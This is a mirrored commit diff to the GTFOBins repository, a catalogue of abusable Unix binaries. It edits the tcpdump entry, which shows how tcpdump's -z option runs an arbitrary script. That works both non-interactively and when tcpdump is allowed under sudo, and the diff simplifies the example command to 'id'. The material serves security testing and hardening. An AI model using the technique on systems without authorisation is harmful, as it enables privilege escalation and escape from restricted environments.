mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Avoid output file for tcpdump
This commit is contained in:
parent
ab62d024b1
commit
5b79154cf1
@ -1,16 +1,16 @@
|
|||||||
---
|
---
|
||||||
description: These require some traffic to be actually captured.
|
description: These require some traffic to be actually captured. Also note that the subprocess is killed when `tcpdump` terminates.
|
||||||
functions:
|
functions:
|
||||||
execute-non-interactive:
|
execute-non-interactive:
|
||||||
- code: |
|
- code: |
|
||||||
COMMAND='id > /tmp/output'
|
COMMAND='id'
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "$COMMAND" > $TF
|
echo "$COMMAND" > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
|
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
COMMAND='id > /tmp/output'
|
COMMAND='id'
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "$COMMAND" > $TF
|
echo "$COMMAND" > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
|
Loading…
Reference in New Issue
Block a user